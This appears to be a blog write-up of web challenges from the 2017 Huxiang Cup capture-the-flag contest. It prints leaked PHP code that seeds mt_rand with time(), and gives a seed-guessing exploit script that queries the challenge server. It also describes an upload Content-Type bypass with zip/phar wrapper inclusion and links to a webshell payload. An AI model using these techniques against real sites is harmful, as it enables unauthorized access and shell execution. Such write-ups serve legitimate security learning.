湖湘杯2017
2018-11-26 本文已影响0人
Shad0w_zz
WEB
random
扫描发现源码泄露.index.php.swp
<?php
error_reporting(0);
$flag = "*********************";
echo "please input a rand_num !";
function create_password($pw_length = 10){
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++){
$randpwd .= chr(mt_rand(100, 200));
}
return $randpwd;
}
session_start();
mt_srand(time());
$pwd=create_password();
echo $pwd.'||';
if($pwd == $_GET['pwd']){
echo "first";
if($_SESSION['userLogin']==$_GET['login'])
echo "Nice , you get the flag it is ".$flag ;
}else{
echo "Wrong!";
}
$_SESSION['userLogin']=create_password(32).rand();
?>
不巧和上个周湖南赛的比赛题目一样
我们可以看到源码,mt_srand
设置种子固定之后,mt_rand(100, 200)
出来的随机数就是固定的,因为代码是使用time来设置随机数种子的,于是,我们可以通过时间,来得到种子。至于session,session是在代码结尾的时候设置的,而判断if($_SESSION['userLogin']==$_GET['login'])
在设置session之前,加之,这里是使用若等于判断的,所以,我们不用给login赋值就好,脚本如下:
<?php
error_reporting(0);
$flag = "*********************";
echo "please input a rand_num !";
function create_password($pw_length = 10){
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++){
$randpwd .= chr(mt_rand(100, 200));
}
return $randpwd;
}
session_start();
for($i=time()-10;$i<time()+10;$i++)
{
mt_srand($i);
$pwd=create_password();
$result=file_get_contents("http://114.215.138.89:10080/?pwd=$pwd&login=");
echo $result.'<br>';
}
?>
得到flag:
图片.png
web200
通过测试发现只对文件上传的类型作了检测,只需要
Content-Type为 image/png 就行了。
之后发现所有上传的文件都会以png格式保存在uploads目录下,百度搜索了一波:
http://www.freebuf.com/articles/web/121778.html
通过 zip/phar伪协议 来包含文件
图片.png 图片.pngweb300
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html#_4
利用payload直接getshell